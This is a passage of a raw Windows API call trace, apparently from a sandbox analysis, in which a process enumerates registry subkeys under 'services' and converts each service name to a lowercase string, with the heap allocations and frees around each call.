[0254.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.964] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0254.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0254.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.964] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0254.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0254.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.965] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0254.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0254.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.965] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0254.965] RegCloseKey (hKey=0x150) returned 0x0 [0254.965] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0254.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0254.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.965] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0254.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0254.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bf8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0254.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.966] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0254.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0254.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0254.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.966] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0254.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0254.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bf8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0254.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.966] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0254.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0254.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0254.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.966] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0254.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0254.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bf8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0254.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.967] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0254.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0254.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.967] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0254.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0254.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.967] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0254.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0254.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.967] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0254.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0254.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.968] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0254.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0254.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0254.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.968] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0254.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0254.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.968] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0254.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0254.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.969] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0254.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0254.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.969] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0254.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0254.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.969] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0254.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0254.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.969] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0254.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0254.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.970] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0254.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 